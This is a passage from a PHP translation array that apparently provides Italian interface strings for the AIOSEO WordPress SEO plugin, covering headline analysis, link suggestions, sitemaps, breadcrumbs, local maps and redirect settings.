business. Imposta correttamente Google Analytics senza bisogno di scrivere codice.','The best drag & drop WordPress form builder. Easily create beautiful contact forms, surveys, payment forms, and more with our 1000+ form templates. Trusted by over 6 million websites as the best forms plugin.'=>'Il miglior builder di moduli WordPress trascina e rilascia. Crea facilmente bellissimi moduli di contatto, sondaggi, moduli di pagamento e molto altro ancora con i nostri oltre 1000 template. Considerato da oltre 6 milioni di siti web come il miglior plugin per moduli.','Instantly get more subscribers, leads, and sales with the #1 conversion optimization toolkit. Create high converting popups, announcement bars, spin a wheel, and more with smart targeting and personalization.'=>'Ottieni subito più abbonati, contatti e vendite con il toolkit n. 1 per l\'ottimizzazione delle conversioni. Crea pop-up ad alta conversione, banner di annunci e molto altro con la personalizzazione e l\'ottimizzazione intelligenti.','User Access Control'=>'Controllo dell\'accesso degli utenti','Custom Breadcrumb Templates'=>'Template breadcrumb personalizzati','Post Report'=>'Report dell\'articolo','Domains Report'=>'Report sui domini','Links Report'=>'Report sui link','Overview'=>'Panoramica','We couldn\'t analyze your title, please try again later.'=>'Non siamo riusciti ad analizzare il tuo titolo, riprova più tardi.','An update is required for this addon to continue to work with %1$s %2$s.'=>'È necessario un aggiornamento affinché questo addon continui a funzionare con %1$s %2$s.','Update Addon'=>'Aggiornamento Ad-don','Update to version'=>'Aggiornamento alla versione','Inbound Internal'=>'Interno in entrata','See All %1$s %2$s Links'=>'Visualizza tutti i link di %1$s %2$s','Phrase'=>'Frase','Post Title'=>'Titolo articolo','Inbound'=>'In entrata','%1$s Link Suggestions'=>'Suggerimenti per i link %1$s','Delete All %1$s Links'=>'Elimina tutti i link %1$s','Overall Score'=>'Punteggio complessivo','Depending on the amount of content on your site, this process can take some time. You can safely leave this page and check back later.'=>'A seconda della quantità di contenuti del tuo sito, questo processo può richiedere del tempo. Puoi tranquillamente lasciare questa pagina e tornare a controllarla più tardi.','Link suggestions are being processed.'=>'I suggerimenti per i link sono in fase di elaborazione.','Open Link Assistant'=>'Apri l\'assistente Link','Here you can view an overview of your existing links as well as find suggestions for new internal links. Click on the button below to view the Link Assistant panel.'=>'Qui puoi vedere una panoramica dei tuoi link esistenti e trovare suggerimenti per nuovi link interni. Fai clic sul pulsante qui sotto per visualizzare il pannello Link Assistant.','Top Domain Reports'=>'Report sui domini più importanti','See Affiliate Links'=>'Visualizza i link di affiliazione','See Orphaned Posts'=>'Visualizza i post orfani','Actionable Link Suggestions'=>'Suggerimenti di link utili','Get relevant suggestions for adding internal links to older content as well as finding any orphaned posts that have no internal links.'=>'Ottieni suggerimenti pertinenti per aggiungere link interni ai contenuti più vecchi e per trovare i post orfani che non hanno link interni.','In order to continue searching for additional keyphrases, you\'ll need to upgrade. %1$s'=>'Per continuare a cercare altre frasi chiave, dovrai fare un aggiornamento. %1$s','You have exceeded the number of requests allowed by your %1$s plan.'=>'Hai superato il numero di richieste consentite dal tuo piano %1$s.','You currently don\'t have permission to update this addon. Please ask a site administrator to update.'=>'Al momento non hai il permesso di aggiornare questo add-on. Chiedi a un amministratore del sito di effettuare l\'aggiornamento.','At this length, it will get cut off in search results. Try reducing it to about 55 characters.'=>'Un contenuto di questa lunghezza apparirà troncato nella schermata dei risultati di ricerca. Prova a ridurlo a circa 55 caratteri.','Too Long'=>'Troppo lungo','Headlines that are about 55 characters long will display fully in search results and tend to get more clicks.'=>'I titoli lunghi circa 55 caratteri vengono visualizzati per intero nei risultati di ricerca e tendono a ricevere più clic.','You have space to add more keywords and power words to boost your rankings and click-through rate.'=>'Hai spazio per aggiungere altre parole chiave e parole chiave per aumentare le classifiche e il tasso di click-through (CTR).','Too Short'=>'Troppo breve','Headline Type'=>'Tipologia di titolo','Word Count'=>'Conteggio delle parole','Sentiment'=>'Tendenza','Needs Improvement'=>'Da migliorare','All good'=>'Tutto ok','Character Count'=>'Numero di caratteri','At least one'=>'Almeno uno','Word Balance'=>'Equilibrio delle parole','Headlines with power words are more likely to get clicks.'=>'I titoli con parole potenti (power words) hanno maggiori probabilità di ottenere clic.','Power Words'=>'Parole forti','10-15%'=>'10-15%','Emotionally triggered headlines are likely to drive more clicks.'=>'Di solito i titoli che richiamano emozioni ricevono più clic.','Emotional Words'=>'Parole emozionali','10-20%'=>'10-20%','Your headline would be more likely to get clicks if it had more common words.'=>'Il tuo titolo avrebbe più probabilità di ottenere clic se contenesse parole più comuni.','Uncommon Words'=>'Parole non comuni','20-30%'=>'20-30%','Headlines with uncommon words are more likely to get clicks.'=>'I titoli con parole poco comuni hanno maggiori probabilità di ottenere clic.','Common Words'=>'Parole comuni','Headlines that are lists and how-to get more engagement on average than other types of headlines. %1$s%2$sLearn More%3$s →'=>'I titoli in formato elenco e tutorial ottengono in media un miglior engagement rispetto ad altri tipi di titoli. %1$s%2$sPer saperne di più%3$s→','Negative headlines are attention-grabbing and tend to perform better than neutral ones.'=>'I titoli negativi attirano l\'attenzione e tendono a dare risultati migliori di quelli neutri.','Your headline has a negative sentiment.'=>'Il tuo titolo ha una connotazione negativa.','Negative'=>'Negativo','Positive headlines tend to get better engagement than neutral or negative ones.'=>'Le intestazioni positive tendono a ottenere un maggiore coinvolgimento rispetto a quelle neutre o negative.','Your headline has a positive sentiment.'=>'Il tuo titolo ha una connotazione positiva.','Positive'=>'Positivo','Headlines that are strongly positive or negative tend to get more engagement than neutral ones.'=>'I titoli fortemente positivi o negativi tendono a ottenere un miglior engagement rispetto a quelli neutri.','Your headline has a neutral sentiment.'=>'Il tuo titolo ha una connotazione neutra.','Neutral'=>'Neutrale','Your headline has too many words. Long headlines will get cut off in search results and won’t get as many clicks.'=>'Il tuo titolo ha troppe parole. I titoli lunghi vengono tagliati fuori dai risultati di ricerca e non ottengono molti clic.','Too Many Words 😑'=>'Troppe parole 😑','Headlines are more likely to be clicked on in search results if they have about 6 words.'=>'I titoli hanno maggiori probabilità di essere cliccati nei risultati di ricerca se contengono circa 6 parole.','Reduce Word Count 🙂'=>'Riduci il numero di parole 🙂','Your headline has the right amount of words. Headlines are more likely to be clicked on in search results if they have about 6 words.'=>'Il tuo titolo ha il giusto numero di parole. I titoli hanno maggiori probabilità di essere cliccati nei risultati di ricerca se contengono circa 6 parole.','Good'=>'Ottimo','Your headline doesn’t use enough words. You have more space to add keywords and power words to improve your SEO and get more engagement.'=>'Il tuo titolo non usa abbastanza parole. Hai più spazio per aggiungere parole chiave e parole chiave per migliorare la SEO e ottenere più coinvolgimento.','Not Enough Words 🙃'=>'Non ci sono abbastanza parole 🙃','Goal: '=>'Obiettivo: ','Important Issues'=>'Problemi importanti','This addon requires an update. %1$s %2$s requires a minimum version of %3$s for the %4$s addon. You currently have %5$s installed.'=>'Questo addon richiede un aggiornamento. %1$s %2$s richiede almeno la versione %3$s per l\'addon %4$s. Al momento hai installato %5$s.','Our Headline Analyzer tool enables you to write irresistible SEO headlines%1$sthat drive traffic, shares, and rank better in search results.'=>'Il nostro strumento Headline Analyzer ti permette di scrivere titoli SEO irresistibili%1$sche portano traffico, condivisioni e migliorano il posizionamento nei risultati di ricerca.','Top 10 Ways to Increase Traffic'=>'I 10 modi migliori per incrementare il traffico','Enter Your Headline'=>'Inserisci il tuo titolo','Choose whether you want to use the OG data from the Facebook tab in your individual pages/posts by default.'=>'Scegli se vuoi utilizzare i dati Open Graph della scheda Facebook nelle tue singole pagine/articoli per impostazione predefinita.','No content yet'=>'Non ci sono ancora contenuti','Plugin update failed. Please check permissions and try again.'=>'Aggiornamento del plugin non riuscito. Controlla i permessi e riprova.','Please enter a valid headline.'=>'Inserisci un titolo valido.','Link Assistant'=>'Link Assistant','Email'=>'Email','Fax'=>'Fax','Phone'=>'Telefono','Tax ID'=>'Codice fiscale','Vat ID'=>'Partita Iva','%1$s Error'=>'%1$s errore' . "\0" . '%1$s errori','Upgrade to %1$s %2$s'=>'Passa a %1$s %2$s','Join Our Community'=>'Unisciti alla nostra community','Quick Links'=>'Collegamenti rapidi','You currently don\'t have permission to activate this addon. Please ask a site administrator to activate first.'=>'Al momento non hai il permesso di attivare questo addon. Chiedi a un amministratore del sito di attivarlo.','Our Opening Hours:'=>'I nostri orari di apertura:','Email:'=>'Email:','Fax:'=>'Fax:','Phone:'=>'Telefono:','Address:'=>'Indirizzo:','Our location:'=>'La nostra sede:','and was generated on %1$s at %2$s'=>'ed è stata generata il %1$s alle %2$s','sitemap'=>'sitemap','High'=>'Alta','Medium'=>'Medio','Low'=>'Bassa','Didn\'t expect to see this? Make sure your sitemap is enabled and your content is set to be indexed. %1$sLearn More →%2$s'=>'Non ti aspettavi di vedere questo? Verifica che la sitemap sia abilitata e che i tuoi contenuti siano indicizzati. %1$sPer saperne di più →%2$s','Configure Sitemap'=>'Configura la sitemap','Back to Homepage'=>'Torna alla homepage','There are no posts here'=>'Non ci sono articoli qui','Whoops!'=>'Oops!','Back'=>'Indietro','Showing %1$s of %2$s'=>'Mostra %1$s di %2$s','Images'=>'Immagini','URL Count'=>'Conteggio URL','Sitemap Index'=>'Indice della sitemap','Post Archive'=>'Archivio degli articoli','404 - Page Not Found'=>'404 - Pagina non trovata','Search Results for'=>'Risultati della ricerca per','Sample Crumb'=>'Porzione di breadcrumb','An error occurred while fetching keyphrases. Please try again later.'=>'Si è verificato un errore durante la ricerca delle frasi chiave. Riprova più tardi.','You have exceeded the limit for requests. Please try again later.'=>'Hai superato il limite di richieste. Riprova più tardi.','Custom Marker'=>'Indicatore personalizzato','Map Display'=>'Visualizzazione della mappa','Show icon'=>'Mostra icona','Show label'=>'Mostra l\'etichetta','%1$sThe custom marker should be: 100x100 px.%2$s If the image exceeds those dimensions it could (partially) cover the info popup.'=>'%1$sIl marcatore personalizzato deve essere 100x100 px.%2$s Se l\'immagine supera queste dimensioni potrebbe coprire (parzialmente) il popup informativo.','Show your location to your visitors using an interactive Google Map. Create multiple maps for use with multiple locations.'=>'Mostra la tua posizione ai visitatori con una mappa interattiva di Google. Crea più mappe da utilizzare per più sedi.','Driving Directions'=>'Indicazioni stradali','Google Reviews'=>'Recensioni Google','Google Places Support'=>'Supporto per Google Places','Map Preview'=>'Anteprima della mappa','To add this widget, visit the %1$swidgets page%2$s and look for the "%3$s" widget.'=>'Per aggiungere questo widget, visita la pagina %1$swidget%2$s e cerca il widget "%3$s".','API Key'=>'Chiave API','Integrating with Google Maps will allow your users to find exactly where your business is located. Our interactive maps let them see your Google Reviews and get directions directly from your site. Create multiple maps for use with multiple locations.'=>'L\'integrazione con Google Maps permetterà ai tuoi utenti di trovare esattamente la posizione della tua attività. Le nostre mappe interattive consentono loro di vedere le tue recensioni su Google e di ottenere indicazioni stradali direttamente dal tuo sito. Crea più mappe per usare più sedi.','Google Maps API Key'=>'Chiave API di Google Maps','Map'=>'Mappa','Maps'=>'Mappe','%1$s Local - Map'=>'%1$s Local - Mappa','Please configure the map for this location: %1$s'=>'Configura la mappa per questa posizione: %1$s','Share your content on your favorite social media platforms to drive engagement and increase your SEO.'=>'Condividi i tuoi contenuti sulle tue piattaforme di social media preferite per aumentare il coinvolgimento e la SEO.','Get out the word!'=>'Spargi la voce!','This redirect is supported using the Relocate Site feature under Full Site Redirect tab.'=>'Questo reindirizzamento è supportato dalla funzione Relocate Site nella scheda Full Site Redirect.','The regex syntax is invalid.'=>'La sintassi regex non è valida.','Visibility'=>'Visibilità','You\'re good to go!'=>'Sei pronto a partire!','Your post needs improvement!'=>'Il tuo articolo deve essere migliorato!','No focus keyphrase!'=>'Non c\'è una frase chiave di riferimento!','%1$s error found!'=>'Abbiamo trovato %1$s errore!' . "\0" . 'Abbiamo trovato %1$s errori!','Good!'=>'Ottimo!','Blocked!'=>'Bloccato!','.htaccess file is empty.'=>'Il file .htaccess è vuoto.','By default Contributors have access to %1$sSEO settings for individual pages and posts that they already have permission to edit.%2$s'=>'Per impostazione predefinita, le persone con ruolo di Collaboratore hanno accesso alle %1$simpostazioni SEO per le singole pagine e gli articoli per cui hanno già i permessi di modifica.%2$s','Contributor'=>'Collaboratore','By default the %1$s role %2$shas no access%3$s to %4$s settings.'=>'Per impostazione predefinita, le persone con il ruolo di %1$s %2$snon hanno accesso alle impostazioni di %4$s%3$s.','%1$s relies on the WordPress Rest API and your site might have it disabled. %2$s.'=>'%1$s si basa sull\'API Rest di WordPress e il tuo sito potrebbe averla disabilitata. %2$s.','Click here to learn more'=>'Fai clic qui per saperne di più','%1$s Addons Not Configured Properly'=>'%1$s Addon non configurati correttamente','No results found for your search. Try again!'=>'Non sono stati trovati risultati per la tua ricerca. Riprova!','Begin typing a term ID or name to search...'=>'Inizia a digitare l\'ID o il nome del termine da cercare...','Begin typing a post ID, title or slug to search...'=>'Inizia a digitare l\'ID, il titolo o lo slug di un articolo per cercare...','The sort order. The supported values are %1$s, %2$s, %3$s and %4$s.'=>'L\'ordine di ordinamento. I valori supportati sono %1$s, %2$s, %3$s e %4$s.','The sort direction. The supported values are %1$s and %2$s.'=>'La direzione di ordinamento. I valori supportati sono %1$s e %2$s.','Whether the regular sitemap or compact date archive sitemap is output.'=>'Se viene emessa la sitemap normale o la sitemap compatta dell\'archivio delle date.','Whether the publication date of posts should be shown.'=>'Indica se la data di pubblicazione degli articoli deve essere mostrata.','Whether the labels should be shown or not. Defaults to %1$s.'=>'Indica se le etichette devono essere mostrate o meno. Predefinito su %1$s.','The HTML tag that is used for the label of each section. Defaults to %1$s.'=>'Il tag HTML utilizzato per l\'etichetta di ogni sezione. Il valore predefinito è %1$s.','The taxonomies (by slug, comma-separated) that are included in the sitemap.'=>'Le tassonomie (per slug, separate da virgole) che sono incluse nella sitemap.','The post types (by slug, comma-separated) that are included in the sitemap.'=>'I post type (per slug, separati da virgole) che sono inclusi nella sitemap.','To view the new sitemap, first save changes.'=>'Per visualizzare la nuova sitemap, salva prima le modifiche.','To view the sitemap, enter a URL and save changes.'=>'Per visualizzare la sitemap, inserisci un URL e salva le modifiche.','The function accepts an associative array with the following arguments that can be used to override the default settings:'=>'La funzione accetta un array associativo con i seguenti argomenti che possono essere utilizzati per sovrascrivere le impostazioni predefinite:','The following shortcode attributes can be used to override the default settings:'=>'I seguenti attributi dello shortcode possono essere utilizzati per sovrascrivere le impostazioni predefinite:','The page that you have entered is invalid or already exists. Please enter a page with a unique slug.'=>'La pagina che hai inserito non è valida o esiste già. Inserisci una pagina con uno slug unico.','Open HTML Sitemap'=>'Apri la Sitemap HTML','e.g. %1$s'=>'per esempio: %1$s','Dedicated Page'=>'Pagina dedicata','This setting allows you to toggle between the regular sitemap or the compact date archive sitemap. %1$s'=>'Questa impostazione ti permette di passare dalla sitemap normale alla sitemap compatta dell\'archivio delle date. %1$s','This setting only applies to posts and pages.'=>'Questa impostazione si applica solo agli articoli e alle pagine.','Publication Date'=>'Data di pubblicazione','Display HTML Sitemap'=>'Visualizza la sitemap HTML','Using the custom-built tools below, you can add an HTML sitemap to your website and help visitors discover all your content. Adding an HTML sitemap to your website may also help search engines find your content more easily.'=>'Con gli strumenti personalizzati qui sotto, puoi aggiungere una sitemap HTML al tuo sito web e aiutare le persone a scoprire tutti i tuoi contenuti. L\'aggiunta di una sitemap HTML al tuo sito web può anche aiutare i motori di ricerca a trovare più facilmente i tuoi contenuti.','HTML Sitemap Settings'=>'Impostazioni della sitemap HTML','Use the following PHP code anywhere in your theme to display the sitemap. %1$s'=>'Utilizza il seguente codice PHP in qualsiasi punto del tuo tema per visualizzare la sitemap. %1$s','To add this block, edit a page or post and search for the %1$s"%2$s - HTML Sitemap"%3$s block.'=>'Per aggiungere questo blocco, modifica una pagina o un articolo e cerca il blocco %1$s"%2$s - Sitemap HTML"%3$s.','Use the following shortcode to display the HTML Sitemap. %1$s'=>'Usa il seguente shortcode per visualizzare la Sitemap HTML. %1$s','Display the sitemap on a dedicated page:'=>'Visualizza la sitemap in una pagina dedicata:','Post/Term ID'=>'ID articolo/termine','Last Updated Date'=>'Data dell\'ultimo aggiornamento','Yes, I want to restore this backup'=>'Sì, voglio ripristinare questo backup','Yes, I want to delete this backup'=>'Sì, voglio eliminare questo backup','Are you sure you want to restore this backup?'=>'Vuoi ripristinare questo backup?','Are you sure you want to delete this backup?'=>'Vuoi davvero eliminare questo backup?','Home Page Meta Description'=>'Meta descrizione della homepage','You have new notifications!'=>'Hai nuove notifiche!','Enter a comma-separated list of term IDs.'=>'Inserisci un elenco separato da virgole degli ID dei termini.','Enter a comma-separated list of post IDs.'=>'Inserisci un elenco di ID dei post separati da virgole.','Descending'=>'Decrescente','Ascending'=>'Crescente','Sort Direction'=>'Ordinamento','Alphabetical'=>'Ordine alfabetico','Last Updated'=>'Ultimo aggiornamento','Sort Order'=>'Ordina per','Show Publication Date'=>'Mostra la data di pubblicazione','Show Labels'=>'Mostra etichette','Compact Archives'=>'Archivi compatti','No date archives could be found.'=>'Non è stato possibile trovare archivi di date.','The following addons cannot be used, because they require %1$s%2$s %3$s%4$s to work:'=>'I seguenti addon non si possono usare perché per funzionare hanno bisogno di %1$s%2$s %3$s%4$s:','%1$s - HTML Sitemap'=>'%1$s - Sitemap HTML','%1$s HTML sitemap widget.'=>'Widget della sitemap HTML di %1$s.','Sitemap'=>'Sitemap','No posts/terms could be found.'=>'Non è stato trovato nessun articolo/termine.','Select Rule'=>'Seleziona la regola','Enter a Locale Code, e.g.: en_GB, es_ES'=>'Inserisci un codice di localizzazione, ad esempio: en_GB, es_ES','Enter a WordPress Filter Name'=>'Inserisci il nome di un filtro WordPress','Enter the Server Name'=>'Inserisci il nome del server','Enter an IP Address'=>'Inserisci un indirizzo IP','Select Roles'=>'Seleziona i ruoli','Select Status'=>'Seleziona lo stato','Key'=>'Chiave','Select a Value or Add a New One'=>'Seleziona un valore o aggiungine uno nuovo','Add Custom Rule'=>'Aggiungi una regola personalizzata','The dollar symbol %1$s should be at the end. For example: %2$s'=>'Il simbolo del dollaro %1$s deve essere alla fine. Ad esempio: %2$s','Could you please do us a BIG favor and give it a 5-star rating on WordPress to help us spread the word and boost our motivation?'=>'Potresti farci un GRANDE favore e dare una valutazione a 5 stelle su WordPress per aiutarci a diffondere la notizia e aumentare la nostra motivazione?','Help us improve'=>'Aiutaci a migliorare','That\'s Awesome!'=>'È fantastico!','Yes, I love it!'=>'Sì, lo adoro!','Enable our Headline Analyzer to help you write irresistible headlines and rank better in search results.'=>'Attiva il nostro Headline Analyzer per scrivere titoli irresistibili che ti aiutano a posizionarti meglio nei risultati di ricerca.','Headline Analyzer'=>'Headline Analyzer','Value'=>'Valore','Create, manage and monitor redirects for 404\'s or modified posts + server redirects, full site redirects and site aliases (Pro & Elite plans only)'=>'Crea, gestisci e monitora i reindirizzamenti per i 404 o le pubblicazioni modificate + reindirizzamenti al server, reindirizzamenti al sito completo e alias del sito (solo piani Pro ed Elite)','Full Site Redirects'=>'Reindirizzamenti completi del sito','Custom Rules'=>'Regole personalizzate','Site Aliases'=>'Alias del sito','Logged Out'=>'Disconnesso','Logged In'=>'Connesso','Libraries'=>'Biblioteche','Feeds'=>'Feed','Mobile'=>'Mobile','Locale'=>'Locale','WordPress Filter'=>'Filtro WordPress','HTTP Header'=>'Header HTTP','Cookie'=>'Cookie','WordPress User Roles'=>'Ruoli utente di WordPress','Referrer'=>'Referrer','Login Status'=>'Stato dell\'accesso','CORS'=>'CORS','Full Site Redirect'=>'Reindirizzamento completo del sito','Your site is running an %1$sinsecure version%2$s of WordPress that is no longer supported. Please update your site to the latest version of WordPress in order to continue using %3$s.'=>'Il tuo sito sta usando una %1$sversione non sicura%2$s di WordPress che non è più supportata. Ti invitiamo ad aggiornare il tuo sito alla versione più recente di WordPress per poter continuare a usare %3$s.','Content'=>'Contenuto','Unauthorized'=>'Non autorizzato','Forbidden'=>'Vietato','Found'=>'Trovato','List'=>'Lista','How-To'=>'Come fare','%1$sNote:%2$s %3$s will be discontinuing support for WordPress versions older than version 5.3 by the end of %4$s. %5$sRead more for additional information.%6$s'=>'%1$sNota:%2$s %3$s interromperà il supporto per le versioni di WordPress precedenti alla 5.3 entro la fine del %4$s. %5$sLeggi il resto per avere ulteriori informazioni.%6$s','Your site is running an %1$soutdated version%2$s of WordPress. We recommend using the latest version of WordPress in order to keep your site secure.'=>'Il tuo sito sta usando %1$suna versione obsoleta%2$s di WordPress. Ti consigliamo di passare alla versione più recente di WordPress per mantenere il tuo sito sicuro.','Add Redirect to improve SEO'=>'Aggiungi un reindirizzamento per migliorare la SEO' . "\0" . 'Aggiungi i reindirizzamenti per migliorare la SEO','Improve your SEO rankings with additional keyphrases.'=>'Migliora il tuo posizionamento SEO con frasi chiave aggiuntive.','AIOSEO - Breadcrumbs'=>'AIOSEO - Breadcrumb','Display the current page breadcrumb.'=>'Visualizza i breadcrumb della pagina corrente.','The %1$s brand.'=>'Il brand di %1$s.','%1$s Brand'=>'Brand di %1$s','The %1$s SKU.'=>'Il codice SKU di %1$s.','%1$s SKU'=>'Codice SKU di %1$s','The %1$s price.'=>'Il prezzo di %1$s .','%1$s Price'=>'Prezzo di %1$s','The archive post type name.'=>'Il nome del tipo di post archivio.','Post Type Name'=>'Nome del post type','The archive format.'=>'Il formato dell\'archivio.','Archive format'=>'Formato dell\'archivio','The search string.'=>'La stringa di ricerca.','Search String'=>'Stringa di ricerca','The day.'=>'Il giorno.','The month.'=>'Il mese.','The year.'=>'L\'anno.','The 404 error format.'=>'Il formato dell\'errore 404.','The search result format.'=>'Il formato dei risultati della ricerca.','Search result format'=>'Formato dei risultati della ricerca','The author\'s last name.'=>'Il cognome dell\'autore.','The author\'s first name.'=>'Il nome dell\'autore.','The author\'s display name.'=>'Il nome visualizzato dell\'autore.','Author Display Name'=>'Nome visualizzato dell\'autore','The blog page title.'=>'Il titolo della pagina del blog.','The crumb separator.'=>'Il separatore dei breadcrumb.','The %1$s title.'=>'Titolo %1$s.','The label.'=>'L\'etichetta.','Label'=>'Etichetta','The permalink.'=>'Il permalink.','Show Blog Home'=>'Mostra il blog nella homepage','Blog Page Title'=>'Titolo della pagina del blog','Display complete category hierarchy even if not selected on each individual post.'=>'Visualizza la gerarchia completa delle categorie anche se non è selezionata su ogni singolo articolo.','Category Hierarchy'=>'Gerarchia delle categorie','Link current item'=>'Link all\'elemento corrente','Show current item'=>'Mostra l\'elemento corrente','Format the label used for the 404 error page.'=>'Formatta l\'etichetta utilizzata per la pagina di errore 404.','Format the label used for the search results page.'=>'Formatta l\'etichetta utilizzata per la pagina dei risultati della ricerca.','Format the label used for archives page.'=>'Formatta l\'etichetta utilizzata per la pagina degli archivi.','Prefix for breadcrumb path.'=>'Prefisso per il percorso dei breadcrumb.','Label used for homepage link (first item) in breadcrumbs.'=>'Etichetta usata per il link alla homepage (primo elemento) nei breadcrumb.','Homepage label'=>'Etichetta homepage','These settings will affect all the breadcrumbs displayed by %1$s throughout your site.'=>'Queste impostazioni hanno effetto su tutti i breadcrumb visualizzati da %1$s nel tuo sito.','The purpose of breadcrumb navigation is to help users navigate around your website. It also helps search engines understand the structure and hierarchy of links on a web page.'=>'Lo scopo della navigazione con breadcrumb è quello di aiutare gli utenti a navigare all\'interno del tuo sito web. Inoltre, aiuta i motori di ricerca a capire la struttura e la gerarchia dei link di una pagina web.','Breadcrumbs are an essential part of SEO. By default %1$s will automatically add breadcrumbs to the schema markup that we add to your site and you don\'t need to make any changes for that to work. Breadcrumbs can also be used as a secondary navigation system that tells users where they are on a website relative to the homepage.'=>'I breadcrumb sono un elemento essenziale della SEO. Per impostazione predefinita, %1$s aggiungerà automaticamente i breadcrumb al markup Schema che aggiungiamo al tuo sito e non dovrai apportare alcuna modifica affinché funzioni. I breadcrumb si possono usare anche come sistema di navigazione secondario che indica alle persone in che area del sito web si trovano rispetto alla homepage.','Use the following PHP code anywhere in your theme (in the loop) to display the breadcrumbs. %1$s'=>'Utilizza il seguente codice PHP in qualsiasi punto del tuo tema (nel ciclo) per visualizzare i breadcrumb. %1$s','To add this block, edit a page or post and search for the "%1$s - Breadcrumbs" block. %2$s'=>'Per aggiungere questo blocco, modifica una pagina o un articolo e cerca il blocco "%1$s - Breadcrumb". %2$s','Use the following shortcode to display the current breadcrumbs. %1$s'=>'Utilizza il seguente shortcode per visualizzare i breadcrumb attuali. %1$s','Custom HTML templates'=>'Template HTML personalizzati','Our template editor will allow you to easily customize how breadcrumbs are displayed on your site based on each post type or taxonomy.'=>'Il nostro editor di template ti permetterà di personalizzare con facilità la visualizzazione dei breadcrumb sul tuo sito in base a ogni post type o tassonomia.','Override the default template for breadcrumbs on your site using our easy-to-use template editor.'=>'Sovrascrivi il template predefinito per i breadcrumb sul tuo sito utilizzando il nostro editor di template facile da usare.','Day'=>'Giorno','Year'=>'Anno','Use a default template'=>'Usa un template predefinito','Opening Hours block, widget and shortcode'=>'Blocco Orario di apertura, widget e shortcode','Detailed Address, Contact and Payment Info'=>'Indirizzo dettagliato, contatti e informazioni sul pagamento','Business Info and Location blocks, widgets and shortcodes'=>'Blocchi, widget e shortcode per le informazioni commerciali e le sedi aziendali','AIOSEO Local - Location Categories'=>'AIOSEO Local - Categorie di località','%1$s - Breadcrumbs'=>'%1$s - Breadcrumb','Include'=>'Includi','Granular control over the template for each post type, taxonomy and archive.'=>'Controllo granulare del template per ogni post type, tassonomia e archivio.','Default template for all pages.'=>'Il template predefinito per tutte le pagine.','Visual Breadcrumb Trails'=>'Percorsi Breadcrumb visuali','Whether your business has multiple locations, or just one, %1$s makes it easy to configure and display relevant information about your local business. You can use the custom-built tools below, or you can use the Locations custom post type (multiple locations only) to generate relevant and necessary information for search engines or for your customers.'=>'Sia che la tua attività abbia più sedi, sia che ne abbia solo una, %1$s ti permette di configurare e visualizzare facilmente le informazioni rilevanti sulla tua attività locale. Puoi utilizzare gli strumenti personalizzati qui sotto o il post type personalizzato Sedi (solo per sedi multiple) per generare informazioni rilevanti e necessarie per i motori di ricerca o per i tuoi clienti.','Professional Service'=>'Servizio professionale','Log sizes may fluctuate and not always be 100% accurate since the results can be cached. Also after clearing a log, it may not show as "0" since database tables also include additional information such as indexes that we don\'t clear.'=>'Le dimensioni del registro possono variare e non essere sempre precise al 100% perché i risultati possono essere memorizzati nella cache. Inoltre, dopo aver cancellato un registro, potrebbe non essere visualizzato come "0" perché le tabelle del database includono anche informazioni aggiuntive che non cancelliamo, come gli indici.','Clear Redirect Logs'=>'Cancella i registri dei reindirizzamenti','Clear 404 Logs'=>'Cancella i registri 404','Last Accessed'=>'Ultimo accesso','at'=>'alle','Show Icons'=>'Mostra le icone','Show Title'=>'Mostra titolo','Available as Addon Plugin'=>'Disponibile come add-on plugin','Redirection Manager'=>'Gestione dei reindirizzamenti','Local Business schema (multiple locations supported) + Business Info & Location blocks, widgets & shortcodes (Plus, Pro & Elite plans only)'=>'Schema Business Locale (supporto per più sedi) + blocchi Informazioni & Sedi dell\'attività, widget e shortcode (solo piani Plus, Pro ed Elite)','Submit your latest news stories to Google News (Pro & Elite plans only)'=>'Invia le tue ultime notizie a Google News (solo per i piani Pro ed Elite)','Submit your videos to search engines (Pro & Elite plans only)'=>'Invia i tuoi video ai motori di ricerca (solo per i piani Pro ed Elite)','Control the priority & frequency of each Post, Page, Category, Tag, etc.'=>'Controlla la priorità e la frequenza di ogni articolo, pagina, categoria, tag, ecc.','Control the priority & frequency per Post Type/Taxonomy'=>'Controlla la priorità e la frequenza per Post Type/Tassonomia','Posts, Pages, Categories, Tags + Breadcrumb Navigation + advanced graphs (Product, FAQ Page, Recipe, etc.)'=>'Articoli, Pagine, Categorie, Tag + Navigazione Breadcrumb + grafici avanzati (Prodotto, Pagina FAQ, Descrizione, ecc.)','WooCommerce Products, Product Categories, Product Tags, Product Attributes + WooCommerce smart tags (price, brand, etc.)'=>'Prodotti WooCommerce, Categorie di prodotti, Tag di prodotti, Attributi di prodotti + Tag intelligenti WooCommerce (prezzo, brand, ecc.)','Some servers may be configured to serve file resources directly, preventing a redirect occurring.'=>'Alcuni server possono essere configurati per servire direttamente le risorse dei file, impedendo il reindirizzamento.','The caret %1$s should be at the start. For example: %2$s'=>'Il trattino %1$s deve essere all\'inizio. Ad esempio: %2$s','To prevent a greedy regular expression you can use %1$s to anchor it to the start of the URL. For example: %2$s'=>'Per evitare un\'espressione regolare troppo generica, si può usare %1$s per ancorarla all\'inizio dell\'URL. Ad esempio: %2$s','Remember to enable the %1$s option if this is a regular expression.'=>'Ricorda di attivare l\'opzione %1$s se si tratta di un\'espressione regolare.','Anchor values are not sent to the server and cannot be redirected.'=>'I valori di ancoraggio non vengono inviati al server e non possono essere reindirizzati.','The source URL should probably start with a %1$s'=>'L\'URL di origine dovrebbe probabilmente iniziare con un %1$s','Your source is the same as a target and this will create a loop.'=>'La tua sorgente è uguale a una destinazione e questo creerà un ciclo.','Permalinks are not currently supported.'=>'I permalink non sono attualmente supportati.','Please enter a valid relative source URL.'=>'Inserisci un URL sorgente relativo valido.','Regex'=>'Regex','This is a duplicate of a URL you are already adding. You can only add unique source URLs.'=>'Si tratta di un duplicato di un URL che stai già aggiungendo. Puoi aggiungere solo URL sorgente unici.','Add Redirects'=>'Aggiungi i reindirizzamenti','Source URLs'=>'URL di origine','Query Parameters:'=>'Parametri della query:','what\'s this?'=>'cos\'è questo?','Enter a relative URL to redirect from or start by typing in page or post title, slug or ID. You can also use regex (%1$s)'=>'Inserisci un URL relativo da cui reindirizzare o digita il titolo, lo slug o l\'ID della pagina o dell\'articolo. Puoi anche usare una regex (%1$s)','FUTURE'=>'IN FUTURO','PENDING'=>'IN ATTESA','DRAFT'=>'BOZZA','Filter'=>'Filtro','Moved Permanently'=>'Spostato in modo permanente','A redirect already exists for this source URL. To make changes, edit the original instead.'=>'Esiste già un redirect per questo URL di origine. Per apportare modifiche, modifica l\'originale.','Your URL appears to contain a domain inside the path: %1$s. Did you mean to use %2$s instead?'=>'Il tuo URL sembra contenere un dominio 